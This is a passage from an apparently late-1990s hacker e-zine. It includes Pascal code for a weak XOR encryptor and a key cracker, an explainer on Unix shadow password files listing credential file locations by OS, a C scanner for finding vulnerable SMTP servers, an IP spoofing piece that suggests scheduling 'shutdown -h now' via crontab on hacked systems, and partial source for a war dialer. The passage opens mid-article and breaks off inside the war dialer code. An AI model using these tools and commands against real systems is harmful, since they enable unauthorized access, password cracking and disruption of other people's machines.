  1639.        |--------------------|-----Ciphertext-----|
  1640.  
  1641. And so on, until the plaintext is completely XOR'd with the key block. The 
  1642. problem with this is that is you have a file of all 'A's (Ordinal value=65), 
  1643. there will be visible repeating patterns in the ciphertext- A PROBLEM! Why is 
  1644. that a problem, you ask? Someone would have to find that huge 512-byte key to 
  1645. decrypt it, right? Errnt.
  1646.  
  1647. METHODS OF ATTACK:
  1648.     WinCrypt's weakness is that it uses the same key byte at known points 
  1649. in the file. The 1st, 513th, 1025th, 1537th, etc byte is always XOR'd with 
  1650. the same byte of the key. The other bytes in the key have no role in the 
  1651. encryption of the 1st byte. If the 1st byte of the file is an 'A', and they 
  1652. 1st byte in the key is a 'B', then the result will be a byte value of 3, 
  1653. regardless of what the other entries in the key are. So instead of a 512-byte 
  1654. key, it's actually 512 1-byte keys. The keyspace for a 512-byte key would be 
  1655. 2^4096 possibilities, but 512 1-byte keys is just 512*256 (number of entries)
  1656. (number of values per entry). 131072 possible keys is quite a bit less to 
  1657. search. But we don't have to stop there. If we know some common byte values 
  1658. in the plaintext, we can search for those, like this:
  1659.  
  1660.     for i = 1 to 512 do
  1661.     begin
  1662.         for j = 0 to 255 do
  1663.             if (InBlock[i] xor j) is in CommonValues then Increment(Count[j]);
  1664.     end
  1665.  
  1666. The highest count will be the byte that has the most hits inside the target 
  1667. byte range. Text files are made up of mostly spaces (ordinal value 32), CR/LF 
  1668. pairs (13/10), and lower case letters (well, some l33t0 ph|l3z might have 
  1669. different values, but hey...).
  1670.  
  1671. BADYCRYPT v1.0:
  1672.  
  1673. (*
  1674.     BadCrypt v1.0 by The Messiah
  1675.     This program takes a 256-byte array, fills it with the output of a 
  1676.        PRNG seeded with the passphrase, then uses the aforementioned 
  1677.        encryption method.
  1678. *)
  1679.  
  1680. program BadCrypt;
  1681.  
  1682. uses Crt;
  1683.  
  1684. type
  1685.     TKey = array[1..256] of byte;
  1686.  
  1687. var
  1688.    key : TKey;
  1689.    passphrase, inpath, outpath : String;
  1690.  
  1691.  
  1692.    procedure Crypt(infile, outfile : String);
  1693.    var
  1694.      FromF, ToF: file;
  1695.      NumRead, NumWritten, I: Integer;
  1696.      Buf: array[1..256] of byte;
  1697.    begin
  1698.        Write('Crypting');
  1699.        Assign(FromF, infile);
  1700.        Reset(FromF, 1);
  1701.        Assign(ToF, outfile);
  1702.        Rewrite(ToF, 1);
  1703.        repeat
  1704.             BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
  1705.              for i := 1 to NumRead do
  1706.                 Buf[i] := Buf[i] xor Key[i];
  1707.             BlockWrite(ToF, Buf, NumRead, NumWritten);
  1708.             Write('.');
  1709.        until (NumRead = 0) or (NumWritten <> NumRead);
  1710.        Close(FromF);
  1711.        Close(ToF);
  1712.        WriteLn('Done!');
  1713.    end;
  1714.  
  1715.    procedure Expand(seed : String; var aKey : TKey);
  1716.    var
  1717.      I, J : Integer;
  1718.    begin
  1719.        Write('Expanding key');
  1720.        for i := 1 to Length(seed) do
  1721.        begin
  1722.           RandSeed := Ord(seed[i]);
  1723.           for j := 1 to 256 do
  1724.              aKey[j] := aKey[j] xor Random(256);
  1725.           Write('.');
  1726.        end;
  1727.        WriteLn('Done!');
  1728.    end;
  1729.  
  1730. begin
  1731.     WriteLn('BadCrypt v1.0: The Worst Encryption Utility!');
  1732.     Write('Enter the password: ');
  1733.     ReadLn(passphrase);
  1734.     Write('Enter the filepath for the input file: ');
  1735.     ReadLn(inpath);
  1736.     Write('Enter the filepath for the output file: ');
  1737.     ReadLn(outpath);
  1738.     Expand(passphrase, Key);
  1739.     Crypt(inpath, outpath);
  1740.     WriteLn('Hit enter to quit...');
  1741.     ReadLn;
  1742. end.
  1743. { ------------------------------------------------------ }
  1744.  
  1745.  
  1746. GENERICRACK V1.0:
  1747.  
  1748. (*
  1749.     GeneriCrack v1.0 for DOS by The Messiah
  1750.     This cracks files, if you know the key size it was encrypted with. 
  1751.        A 32-bit version will be out soon, so stick around...
  1752. *)
  1753. program GeneriCrack;
  1754.  
  1755. const
  1756.     MAXKEY = 1024;
  1757.  
  1758. var
  1759.    key, buffer : array[1..MAXKEY] of Byte;
  1760.    count, maxcount : array[1..MAXKEY] of Integer;
  1761.    inpath, outpath : String;
  1762.    kSize : Integer;
  1763.  
  1764.    procedure Crack(Filename : String; keysize : Integer);
  1765.    var
  1766.      file1: file;
  1767.      i,j, result: integer;
  1768.      b : byte;
  1769.    begin
  1770.        Write('Cracking');
  1771.        Assign(file1,Filename);
  1772.        Reset(file1,1);
  1773.  
  1774.        for i := 1 to KeySize do
  1775.        begin
  1776.            key[i] := 0;
  1777.            maxcount[i] := 0;
  1778.        end;
  1779.  
  1780.        for i:=0 to 255 do
  1781.        begin
  1782.            seek(file1,0);
  1783.            for j := 1 to KeySize do
  1784.               count[j] := 0;
  1785.            while not eof(file1) do
  1786.            begin
  1787.                blockread(file1,buffer,keysize,result);
  1788.                for j:=1 to result do
  1789.                begin
  1790.                    b:= i xor buffer[j];
  1791.                    if b in [10,13,32,97..122] then count[j] := count[j] + 1;
  1792.                end;
  1793.            end;
  1794.            for j:=1 to keysize do if count[j]>maxcount[j] then
  1795.            begin
  1796.                key[j]:=i;
  1797.                maxcount[j]:=count[j];
  1798.            end;
  1799.            Write('.');
  1800.        end;
  1801.        WriteLn('Done!');
  1802.        close(file1);
  1803.    end;
  1804.  
  1805.    procedure Decrypt(infile, outfile : String; keysize : Integer);
  1806.    var
  1807.      file1,file2: file;
  1808.      i,j, result: integer;
  1809.    begin
  1810.        Write('Decrypting');
  1811.        assign(file1,infile);
  1812.        reset(file1,1);
  1813.        assign(file2,outfile);
  1814.        rewrite(file2,1);
  1815.        while not eof(file1) do
  1816.        begin
  1817.            blockread(file1,buffer,keysize,result);
  1818.            for j:=1 to result do buffer[j]:= buffer[j] xor key[j];
  1819.            blockwrite(file2,buffer,result,i);
  1820.            Write('.');
  1821.        end;
  1822.        close(file1);
  1823.        close(file2);
  1824.        WriteLn('Done!');
  1825.    end;
  1826.  
  1827. begin
  1828.     WriteLn('GeneriCrack for DOS v1.0 by The Messiah');
  1829.     Write('Enter the keysize in bytes: ');
  1830.     ReadLn(kSize);
  1831.     Write('Enter the filepath of the input file: ');
  1832.     ReadLn(inpath);
  1833.     Write('Enter the filepath of the output file: ');
  1834.     ReadLn(outpath);
  1835.     Crack(inpath, kSize);
  1836.     WriteLn;
  1837.     Decrypt(inpath, outpath, kSize);
  1838.     WriteLn;
  1839.     WriteLn('Hit enter to quit...');
  1840.     ReadLn;
  1841. end.
  1842. { ------------------------------------------------------ }
  1843.  
  1844. PREVENTION:
  1845.     One way to make sure an algorithm you're designing (or using) isn't 
  1846. fallible to this particular attack is to make the encryption data-sensitive. 
  1847. Have the key change with each block. This will not, of course, make a bad 
  1848. algorithm good, but it will make it resistant to this particular attack. 
  1849. Also, if you're running a block cipher in ECB mode, it could be broken with 
  1850. this attack, AFAIK. I haven't tested it yet, but ECB does the same method for 
  1851. each block.
  1852.  
  1853. ═────────────────────────────────────────────────────────────────────────────═
  1854. Shadow files explained
  1855. by Shypht
  1856.  
  1857. Ok, a few people I knew / know were a bit confused on the purpose on having
  1858. a shadowed password file so I decided to write a simple text explaining
  1859. them.
  1860.  
  1861. -[ ---------------------------------------------------------------------- ]-
  1862.                 █▓▒░ Introduction : the basic's ░▒▓█
  1863. -[ ---------------------------------------------------------------------- ]-
  1864.  
  1865. A shadow file is a way of adding extra security to a unix machine. Before
  1866. password shadowing, a passwd file would look like this : 
  1867.  
  1868. ( this is in /etc/passwd )
  1869.  
  1870. esmith:s920Vk02sl24:6151:100:Edmond Smith:/home/esmith:/bin/bash
  1871.  |      |            |    |   |           |            |
  1872.  |      |            |    |   |           |            \- which shell they
  1873.  |      |            |    |   |           \- home dir     use7
  1874.  |      |            |    |   \- real name/comments/bussiness etc
  1875.  |      |            |    \- group id (gid)
  1876.  |      |            \- user id(uid)
  1877.  |      \- encrypted password
  1878.  \--- login name
  1879.  
  1880. but now with computer security becoming more and more of an issue, and more
  1881. and more people were grabing the /etc/passwd file and crack the encrypted
  1882. password w/ a word list and a cracker like brute force or cracker jack,
  1883. john the ripper,crack, etc. The reason why a wordlist/dictionary file
  1884. is used is because the encrypted password uses a one-way hash. To crack
  1885. the password, the cracker compares the one-way hash from each word in the
  1886. word list to the encrypted password until a match is found.
  1887.  
  1888. So they decided they needed more security, so they started to shadow
  1889. their password files, they still look pretty much the same, but instead
  1890. of having the encrypted password, there is a * in place, so if you were
  1891. to cat /etc/passwd you'd get :
  1892.  
  1893. ( location varies on systems see further down for more info )
  1894.  
  1895. esmith:*:6151:100:Edmond Smith:/home/esmith:/bin/bash
  1896.       ^- shadowed password file, not much use eh?
  1897.  
  1898. people may wonder why wouldn't the system admins make the /etc/passwd
  1899. read-only by root and it'd save them alot of hassle, but programs need to
  1900. read certain info from that file to get user name / uid / gid etc, and
  1901. since not all programs are run as root, if the /etc/passwd was read by root
  1902. only, it would cause conflicts, and alot of programs would have to be run
  1903. as root and create alot of security problems. So the actual encrypted
  1904. password is held in the shadow file, for a list of locations see below,
  1905. this file is / should only be read/write only by the root admins, this
  1906. gives an extra ammount of security, and since only root can read it, normal
  1907. users can't grab a copy and crack the password's in it. The format of the
  1908. shadow file goes as :
  1909.  
  1910. username:password:change_date:min_change:max_change:warn:inactive:expire:
  1911.  
  1912. the format will go into more detail in the next section.
  1913.  
  1914. -[ ---------------------------------------------------------------------- ]-
  1915.                █▓▒░ The Shadow File : The Format ░▒▓█
  1916. -[ ---------------------------------------------------------------------- ]-
  1917.  
  1918.  As stated above the format of the shadow file goes as :
  1919.  
  1920. username:password:change_date:min_change:max_change:warn:inactive:expire:
  1921.  
  1922. User Name   : the name of the user
  1923. Password    : the encrypted password. And/or alternate authontication
  1924.             methods wich will be explained in the next section.
  1925.  
  1926. [ - the following fields relate to passwd change / expiration - ]
  1927.  
  1928. Change Date    : encodes the date of the most rescent passowrd chage
  1929. Min/Max Change : tells the min and max days between password changes
  1930. Warn           : when the password is about to expire, warn that many
  1931.               days ahead of time
  1932. Inactive       : specifies how many days the user has to change thier pass
  1933.               after the expiration date before that account is cancled
  1934. Expire         : encodes the date that the password will expire
  1935.  
  1936.  
  1937. -[ ---------------------------------------------------------------------- ]-
  1938.              █▓▒░ The Shadow File : Extra Features ░▒▓█
  1939. -[ ---------------------------------------------------------------------- ]-
  1940.  
  1941. ( I read some of this stuff in a document relating to linux security so I am
  1942.   not sure if it applys to all shadowing systems but I am pretty sure that
  1943.   it does / or at least should. If not it is still something that is
  1944.   interesting to know. )
  1945.  
  1946. In the password field of the shadow file you can also specify additional
  1947. authentication programs to be run after the password has been entered. An
  1948. example of one is :
  1949.  
  1950. shypht:4j3jx70735;@/sbin/agetest::::::
  1951.  
  1952. the ;@/sbin/agetest would tell the system that after the password has been
  1953. enter'd in correctly to run the /sbin/agetest program, which I just made up
  1954. for an example, and it would return a 0 or 1 showing if the user passed
  1955. shypht:<\@>/sbin/securelogin::::::
  1956.  
  1957. which the user would have to pass to gain entry to the system,
  1958. and he/she would not be prompted for a password. This can be used for lower
  1959. or higher security on a system, but I would imagine that it would only be
  1960. used to secure the system even more, you could have them prompted for
  1961. personal questions which only they would know etc.
  1962.  
  1963. -[ ---------------------------------------------------------------------- ]-
  1964.              █▓▒░ The Shadow File : Locations ░▒▓█
  1965. -[ ---------------------------------------------------------------------- ]-
  1966.  
  1967. The location of the shadow file varies from system to system, I have taken
  1968. this list from the ultimate beginers guide to hacking 97 revision. And is
  1969. modified for this document.
  1970.  
  1971. UNIX                    Path
  1972. -------------------------------------------------
  1973. AIX 3                 /etc/security/passwd or /tcb/auth/files//
  1974. A/UX 3.0s             /tcb/files/auth/?/*
  1975. BSD4.3-Reno           /etc/master.passwd             
  1976. ConvexOS 10           /etc/shadpw                             
  1977. ConvexOS 11           /etc/shadow                             
  1978. DG/UX                 /etc/tcb/aa/user/                       
  1979. EP/IX                 /etc/shadow                             
  1980. HP-UX                 /.secure/etc/passwd                     
  1981. IRIX 5                /etc/shadow                             
  1982. Linux1.1              /etc/shadow
  1983. OSF/1                 /etc/passwd[.dir|.pag]          
  1984. SCO Unix #.2.x        /tcb/auth/files//                
  1985. SunOS4.1+c2           /etc/security/passwd.adjunct    
  1986. SunOS 5.0             /etc/shadow
  1987. System V Release 4.0  /etc/shadow                        
  1988. System V Release 4.2  /etc/security/* database   
  1989. Ultrix 4              /etc/auth[.dir|.pag]            
  1990. UNICOS                /etc/udb                                        
  1991. Unix System V         /etc/master.passwd
  1992.  
  1993. -[ ---------------------------------------------------------------------- ]-
  1994.                     █▓▒░ Closing Comments ░▒▓█
  1995. -[ ---------------------------------------------------------------------- ]-
  1996.  
  1997. I hope that this document helpfull to anyone out there. I wrote this to
  1998. help people understand, and maybe learn abit more about the shadow file.
  1999. Thanks for reading this far                     - shypht
  2000.  
  2001. -[ ---------------------------------------------------------------------- ]-
  2002.                          █▓▒░ The End ░▒▓█
  2003. -[ ---------------------------------------------------------------------- ]-
  2004. greetz out to : vacuum, cellular fear, philisopher, exorcist, atom, RM,
  2005.              severed, all my friends in #hackphreak, PentiumRU, Nyangel,
  2006.              Rloxley, X-Bish and all the other ops, and #carparts and
  2007.              anyone else I forgot
  2008.  
  2009. thanx to vacuum for fixin some spelling and adding the 1way hash info.
  2010.  
  2011. ═────────────────────────────────────────────────────────────────────────────═
  2012. SMTP server scanner
  2013. by memor
  2014.  
  2015. /*
  2016.  
  2017. Here is a SMTP server scanner (thoses ones on port25)
  2018. to scan i guess for old mailserver, for easy sendmail bugs uses.
  2019.  
  2020. well.. this is not really an hacking tool.. only a scanning one.
  2021. it can be used in 2 ways.. 
  2022.  
  2023. USAGE:
  2024. smtpscan -dh xxx.xxx[.xxx](if option -h) [port](optional)
  2025.  
  2026. first.. to find "possible" hackable domains like that :
  2027. smtpscan -d xxx.xxx or smtpscan -d xxx.xxx 25
  2028. will scan for smtp from xxx.xxx.1.1 to xxx.xxx.255.1
  2029.  
  2030. and 2ndly, it can be used to find "possible" hackable servers on
  2031. a domain with :
  2032. smtpscan -h xxx.xxx.xxx or smtpscan -h xxx.xxx.xxx 25
  2033. will scan for smtp from xxx.xxx.xxx.1 to xxx.xxx.xxx.255
  2034.  
  2035. *note*
  2036. you can scan for any domains or servers with another port (like for pop3 or 
  2037. other) with smtpscan -dh xxx.xxx.xxx[.xxx] port
  2038. thanx to Wintifax for his advices ;)
  2039.  
  2040. memor@mygale.org 
  2041.  
  2042. memor(hbs) Aug 29, 1997
  2043. */
  2044.  
  2045. /* habitual includes for managing functions in the programm */
  2046.  
  2047. #include <stdio.h>
  2048. #include <stdlib.h>
  2049. #include <unistd.h>
  2050. #include <string.h>
  2051. #include <netdb.h>
  2052. #include <sys/socket.h>
  2053. #include <arpa/inet.h>
  2054. #include <sys/types.h>
  2055. #include <netinet/in.h>
  2056.  
  2057. /* defining global variables for reading writing creating the socket */
  2058.  
  2059. FILE *soc;
  2060. int sock;
  2061.  
  2062. /* defining void answer(void) function */
  2063.  
  2064. void answer();
  2065.  
  2066. /* main routing */
  2067.  
  2068. int main(argc,argv)
  2069. int argc;
  2070. char **argv;
  2071. {
  2072.  
  2073. /* create variables for counting ,  ip adress string */
  2074.  
  2075. int count, port = 25;
  2076. char *ips;
  2077. struct sockaddr_in ip;
  2078. ips = (char *)malloc(100);
  2079.  
  2080. /* checking if enough arguments to make the programm working correctly */
  2081.  
  2082. if(argc<2) 
  2083. {
  2084. /* if not, tells the usage and quit */
  2085.  
  2086. printf("%s - memor/hbs\n",argv[0]);
  2087. printf("usage:\n");
  2088. printf("%s -dh xxx.xxx[.xxx] [port]\n",argv[0]);
  2089. exit(1);
  2090. }
  2091. else if(argc>3) port = atoi(argv[3]);
  2092.  
  2093. /* begining -d or -h scan */
  2094.  
  2095. for(count=1;count<256;count++)
  2096. {
  2097. if(strcmp(argv[1],"-d")==0) sprintf(ips,"%s.%i.1",argv[2],count);
  2098. else sprintf(ips,"%s.%i",argv[2],count);
  2099. printf("Looking at %s Port %i\n",ips,port);
  2100.  
  2101. /* creating socket */
  2102.  
  2103. if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) /* i cant open it */
  2104. {
  2105. /* i cant, i write what error it gives me  */             
  2106. perror("socket");
  2107.  } else {
  2108.  soc=fdopen(sock, "r");
  2109.  ip.sin_family = AF_INET;
  2110.  ip.sin_port = htons(port);
  2111.  ip.sin_addr.s_addr = inet_addr(ips);
  2112.  bzero(&(ip.sin_zero),8);
  2113.  
  2114. /* trying to connect..reach the host */
  2115.  
  2116. if ( connect(sock, (struct sockaddr *)&ip, sizeof(struct sockaddr)) < 0 )
  2117. {
  2118. /* i cant, i write what error it gives me */
  2119. perror("connect");
  2120. } else {
  2121.  
  2122. /* getting what the smtp tells me */
  2123.  
  2124. answer();
  2125.  
  2126. }
  2127.  
  2128. /* closing that socket */
  2129. close(sock);
  2130. }
  2131. }
  2132. }
  2133.  
  2134. /* answering function */
  2135.  
  2136. void answer()
  2137. {
  2138. /*creating a as char type.. */
  2139. char ch;
  2140. do
  2141. ch=getc(soc);
  2142. printf("%c",ch); 
  2143. /* i write the cararcter i received */
  2144. }
  2145. while(ch!='\r');
  2146. /* received a 13 .. go back to main() */
  2147. printf("\n");
  2148. }
  2149.  
  2150. ═────────────────────────────────────────────────────────────────────────────═
  2151. All About The Internet Protocol
  2152. by Malhavoc
  2153.  
  2154. Lets start off with the basics of ip's then we will start on some of the
  2155. advanced stuff like ip spoofing and masquerading.
  2156.  
  2157. First off Ip is short for Internet Protocol.  The Internet Protocol defines
  2158. how data should be broken down to be transmitted over the internet.  Another
  2159. part of the Internet Protocol is the Internet Protocol address or IP Address.
  2160. The Ip address is a 32-bit number with 4 digits ranging from 0 to 255.  The
  2161. IP address is similar to your home address in that it is an identifier much
  2162. like your home address, except that the ip address identifies each computer
  2163. connected or linked to the internet.
  2164.  
  2165. Ip addresses can be resolved to domain names and visa versa through DNS which
  2166. stands for Domain Name Server or name server for short.  Each domain has a
  2167. unique IP address assigned to it.  Ip can have multiple domain names assigned
  2168. to it.
  2169.  
  2170. The Ip address also has 4 layers associated with it.  They are:
  2171.  
  2172. The Application Layer - This deals with the functions of server
  2173.                     applications like FTP and HTTP. 
  2174.  
  2175. The Transmission Control Protocol Layer - This controls the moving of data
  2176.                                   from the source to the
  2177.                                   destination ignoring everything 
  2178.                                                         else.
  2179.  
  2180. The Internet Protocol Layer - This handles all of the moving data from one
  2181.                         network node to the next. 
  2182. The Physical Layer - This controls all of the actual communications
  2183.                  hardware such as ethernet cards and modems.
  2184.  
  2185.  
  2186. These layers are known as the protocol stack.
  2187. Without IPs you can't find any computer on the internet.  Something else
  2188. associated with the Ip is something called TCP or Transmission Control
  2189. Protocol.  This basically controls what the ip transmits and recieves to
  2190. and from other computers.  
  2191.  
  2192. There are also 2 types of IPs.  They are the Dynamic and the Static ip.
  2193. The dynamic ip is an ip that always changes.  Sometimes the last 2 digits
  2194. are the same, but most of the time the last digit stays the same.  The
  2195. static ip on the otherhand is the same all of the time, hence the word
  2196. static.
  2197.  
  2198. As you can see the IP has many functions throughout the internet and if
  2199. you mess around with them in the wrong way, you could certainly screw up many 
  2200. computers, even a whole network up.  
  2201. How do you do this you ask?  READ ON!
  2202.  
  2203. In the previous paragraph I said that if you fuck around with an IP or a
  2204. computer that is connected to a very large LAN, Network, or Intranet you
  2205. could really screw things up quite a bit.  There are many ways of doing
  2206. this.  Some more fun than others.  You could hack a system and crontab
  2207. shutdown -h now to run every 15 minutes or nuke a server and lag it to
  2208. hell, but that could totally cripple a system, and that is not what I like
  2209. to condone. What I really like is spoofing. Although it does not screw up
  2210. anything it can give you unauthorized access to things or you could just
  2211. make your ip and/or domain to whatever you want.  Spoofing is not very
  2212. hard if you know what you are doing.  If you read my explanation of the IP
  2213. it explained all about IPs.  If you remember everything that I explained
  2214. it can help you in your quest to spoof, or you could continue to read this
  2215. and learn how to spoof by my teachings.  
  2216.  
  2217. To do a basic spoof on IRC or something you just need root on a
  2218. nameserver and jizz.  In case you are saying, "What the hell is a
  2219. nameserver?", I have included a quick little definition, if you will of a
  2220. nameserver.  
  2221.     
  2222. A nameserver is pretty much a computer that translates the
  2223. alphabetic domain name to a numerical IP address.
  2224.  
  2225. To get root on a nameserver you either have to:
  2226. a) Get unauthorized access to the system, anotherwards hack the system
  2227. b) You already own a nameserver connected to the internet
  2228.  
  2229. If you would like to use option "a" to get access, you need to find
  2230. another file specifically written about hacking(which I am positive I will
  2231. write at some point).  
  2232.  
  2233. or if you chose "b", can I get access?(it was a joke but if i can, e-mail
  2234. me at malhavoc@xxedgexx.com) but seriously if you do have one, perfect.
  2235. All you need to do now is download jizz.  You could download it at my
  2236. website at Http://Kaos.xxedgexx.com or go to Http://www.rootshell.com.
  2237. Once you download it type gcc -o jizz jizz.c, after that, jizz should
  2238. compile in the directory you download to.  After the compilation is
  2239. complete type ./jizz 
  2240.  
  2241. Manually Spoofing - The more advanced way to spoof
  2242. and for use with people that actually know something. 
  2243.  
  2244.  
  2245.  
  2246. ═────────────────────────────────────────────────────────────────────────────═
  2247. ShokDial - a linux war dialer
  2248. by Shok        
  2249.     
  2250.     I wrote this because someone asked me to, and it's the only war
  2251. dialer I've seen for linux. I don't like or use war dialers but I decided
  2252. to write it anyway....oh well.
  2253.       
  2254. This is new, so it may have a few bugs but it shouldn't have any. If you
  2255. see a bug or anything, please let me know (mail me at shok@sekurity.org). 
  2256.  
  2257. WHAT YOU NEED TO DO:
  2258. --------------------
  2259.  
  2260. ***YOU NEED TO DO THIS***.........
  2261.  
  2262. In wardialer.c, at the very top..you will have three #define's you need to 
  2263. change to your modem, etc.
  2264.  
  2265. #define MODEMPORT "/dev/cua1" 
  2266.  
  2267. This is the COM my modem is on. You NEED to set this to yours.
  2268. If your modem is on COM1 (assuming you're using linux), then put /dev/cua0
  2269. instead of /dev/cua1. 
  2270.  
  2271.     However if you are using something like IRIX for example it is not
  2272. /dev/cua1 (if I recall)...and you'll need to set this to
  2273. your modem port.
  2274.  
  2275. --------------------
  2276.  
  2277. There is also:
  2278. #define HANGUPPORT "/dev/ttyS1" 
  2279.  
  2280. You NEED to change this as well, if you put cua0 earlier, put ttyS0
  2281. here...if you put cua1 put ttyS1 here.....etc
  2282.  
  2283.     However if you have IRIX or soemthing like that it will be
  2284. different.....
  2285.  
  2286. ---------------------
  2287.  
  2288. Now all you have to do (and this is optional), there is:
  2289. #define TIMEOUT 30
  2290.  
  2291. You just set this to how long you will wait for it to try to dial a number
  2292. and this will disconnect after so long.
  2293.  
  2294. Type shokdial -h for help/options...
  2295.  
  2296. Enjoy!
  2297.  
  2298.  
  2299.     Serial programming for unix.....boy this stuff is fun. Well unix
  2300. is famous for it's special files. The modem is just a file you can open(),
  2301. read(), and write() to...for that reason this program can be used on all
  2302. unixs'. The only thing different that needs to be changed, is the 
  2303. #define MODEMPORT "/dev/cua1", because most unix/unix clones have their
  2304. own modem port. For example /dev/ttyS? which is COM1 (to the DOS users),
  2305. would be /dev/ttym? in IRIX. Now once this program opens the modem (via 
  2306. device/special file) for reading/writing, it will write() to it, and send
  2307. it standard modem instructions like +++ATH, ATZ etc....this comes before
  2308. any dialing to get the modem ready....we also use a function to check for
  2309. "OK" so we know that all is well. On receiving this, then enter the number
  2310. we want to dial into a character buffer, append a "\r" to it (to it
  2311. actually sends the command), we then write(fd (the file desc. for
  2312. /dev/cua1), thebufwiththenum, strlen(thebufwiththenum)); Now once you do
  2313. this..you can't write "+++ATH" to it, because it will send that as the
  2314. login name (assuming you've connected to a host), so what I did, was I
  2315. opened the other modem port (there are two, /dev/cua0 and /dev/ttyS0 are
  2316. essentially the same thing (both COM1 to explain it easier), one is used
  2317. for dialing out (cua?) and one is used for dialling in and out (ttyS?). So
  2318. I opened up the other port and used that to send the command to hang up.
  2319. But all the other stuff isn't complex, they are all C primitive
  2320. instructions like ScanMin++; which would increse ScanMin by 1, repeat a
  2321. while loop, and then the next strcat(phonenum, ScanMin); ... would dial
  2322. the next number......you get the idea. That's about all there really is to
  2323. say about the technical stuff about it.
  2324.  
  2325.     Oh yeah one thing.....when it connects, it looks for the string
  2326. "CONNECT" returned from the modem serial file. You won't get this message
  2327. from faxes as you will only get this message when the connection is
  2328. complete, so this will only return *** CONNECT *** if it was a modem. It
  2329. will both output to the screen and logfile *** CONNECT *** to
  2330. 1-xxx-xxx-xxxx. You can use local or long distance, although international
  2331. numbers haven't been added at this time (not hard to do just didn't care
  2332. to add an extra scanf and an extra CountryCode variable ;) 
  2333.  
  2334. About ShokDial (it's temp name for now)
  2335. ---------------------------------------
  2336.  
  2337.     This supports random scanning (pseudorandom to be honest, heh) and
  2338. sequential (the range you specified and up) scanning. You can give it a
  2339. range too but that still does under sequential scanning. To use random
  2340. scanning use 'shokdial -r', otherwise it will by default use sequential
  2341. scanning. For the other options type 'shokdial -h'. You want to keep track
  2342. of the version because I'd almsot guarntee this program is going to
  2343. continue changing. I need to add some ncurses GUI effects (heh) and a
  2344. function to resume scanning for those of you who are too lazy to even look
  2345. at the (by default) wardialer.log and get the last number it dialed
  2346. (assuming you used sequential scanning) and entering that as the Scan
  2347. number to begin on! 
  2348.  
  2349.     It will output to wardialer.log and on to the screen. If you have
  2350. BEEP = WANTBEEP in the Makefile, it will beep when it connects to a host.
  2351. That's about all I really have to say about it. I don't actually use war
  2352. dialers (really), so I haven't actually tested this (sorry if there are
  2353. any problems but there shouldn't be)....if you do however find a problem,
  2354. please let me know! I will fix it and send out a patched version.....you
  2355. can get all of them from ftp.janova.org or www.janova.org. Enjoy ;)
  2356.  
  2357.             Shok
  2358.  
  2359.  
  2360. To Do:
  2361.  
  2362.     - Add a resume function
  2363.  
  2364.     - Any good ideas/features that should me added? Mail me at
  2365.       shok@sekurity.org if you think of something useful 
  2366.       (don't mention a GUI or anything though anyway).
  2367.  
  2368. -------------
  2369. Makefile:
  2370. ------------
  2371.  
  2372. CC = gcc
  2373. #CC = cc
  2374.  
  2375. CFLAGS =
  2376. #CFLAGS = -g
  2377.  
  2378. BEEP = WANTBEEP
  2379. #BEEP = NOWANTBEEP
  2380.  
  2381. #---------------------------------
  2382.  
  2383. all: shokdial
  2384.  
  2385. shokdial: shokdial.c errors.c validate.c 
  2386.     $(CC) $(CFLAGS) -D$(BEEP) -o shokdial shokdial.c errors.c validate.c
  2387.  
  2388.  
  2389. ----------
  2390. shokdial.c
  2391. ----------
  2392.  
  2393. /*                ShokDial                           */
  2394. /* This is (I have never seen one anyway, I apologize if I'm wrong)      */
  2395. /* the first war dialer that I've ever seen for unix. This will            */
  2396. /* compile on most/all unixs' (I didn't use any spiffy or complex        */
  2397. /* functions).                                       */
  2398. /*                 Enjoy,                                         */
  2399. /*             --==+*~(Shok)~*+==--                          */
  2400.  
  2401. #include <termios.h>
  2402. #include <stdio.h>
  2403. #include <unistd.h>
  2404. #include <string.h>
  2405. #include <sys/types.h>
  2406. #include <errno.h>
  2407. #include <fcntl.h>
  2408. #include <ctype.h>
  2409. #include <signal.h>
  2410.  
  2411. #define ERROR -1
  2412. #define LOGFILE "wardial.log" /* Used as default for logging    */
  2413.                         /* unless you change this define  */
  2414.                         /* or specify it as an option     */
  2415.  
  2416. #define TIMEOUT 25 /* YOU WANT TO CONFIGURE THIS!!!         */
  2417.                 /* This is how long it will wait until it    */
  2418.                 /* gives up.                   */
  2419.  
  2420. /* You can do:                                                  */
  2421. /* ln -s /dev/cua1 /dev/modem                          */
  2422. /* or change this  to /dev/cua1 (or whatever your COM is)   */
  2423. /* cua0 = COM1 cua1 = COM2                        */
  2424.  
  2425. #define MODEMPORT "/dev/cua1"
  2426.  
  2427. /* Same as above.....                             */
  2428. /* ttyS0 = COM1 ttyS1 = COM2 */
  2429.  
  2430. #define HANGUPPORT "/dev/ttyS1"
  2431.  
  2432.  
  2433. /*             Global variables                 */
  2434. /*             ----------------                 */
  2435. int fd;        /* fd for modem                       */
  2436. int numbytes;        /* To verify that all the bytes were written  */
  2437. int random;         /* Use random scanning if this is set         */
  2438. char *ProgName;          /* Um duh.                            */
  2439. char LocalOrLong[2]; /* Dialing long distance of local              */
  2440. int First3Digits;    /* Such as "555" of 555-XXXX                 */
  2441.                  /* However this also serves as the area code  */
  2442.                  /* for a long distance number                 */
  2443. int Last3Digits;     /* Used as XXX-555-XXXX                       */
  2444. int ScanMin;         /* Number to scan from....like 0000 and up    */
  2445. int ScanMax;         /* Stop scanning when this number is reached  */
  2446. char *LogFile;       /* Where to log connections          */
  2447. char buf[512];           /* Buffer for strings returned by modem       */
  2448. FILE *logfile;       /* for the log file                  */
  2449. /* FILE *resume; */  /* To resume scanning where left off          */
  2450.  
  2451. struct termios options; /* Baud rate, modes, etc.                  */
  2452.  
  2453.  
  2454. /*             Function prototypes                   */ 
  2455. /*             -------------------                        */
  2456. void usage(void);         /*  Help/usage                       */
  2457. void version(void);           /*  Display version                       */
  2458. void intro(void);             /*  An introduction           */
  2459. void get_num(void);       /*  Get phone number and scan prefix      */
  2460. void get_scannum(void);       /*  Get range to scan                     */
  2461. void open_port(void);         /*  Open modem port for dialing            */
  2462. void set_options(void);       /*  Set baud rate, termios, etc.          */
  2463. void init_modem(void);        /*  Initialize the modem           */
  2464. void dial_number(void);        /*  Dial the number               */
  2465. void hangup(void);            /*  Hang up modem.                           */
  2466. void sighandler(int signum);  /*  Used when signals are received */
  2467.  
  2468. /* Check read/write/opens for errors */
  2469. void check_for_error(int fd, int num, char *s);
  2470.  
  2471. /* Check if the phone num was valid */ 
  2472. void local_validnum(int digits);
  2473. void long_validnum(int firstdigits, int lastdigits);
  2474.  
  2475.  
  2476. void main(int argc, char **argv)
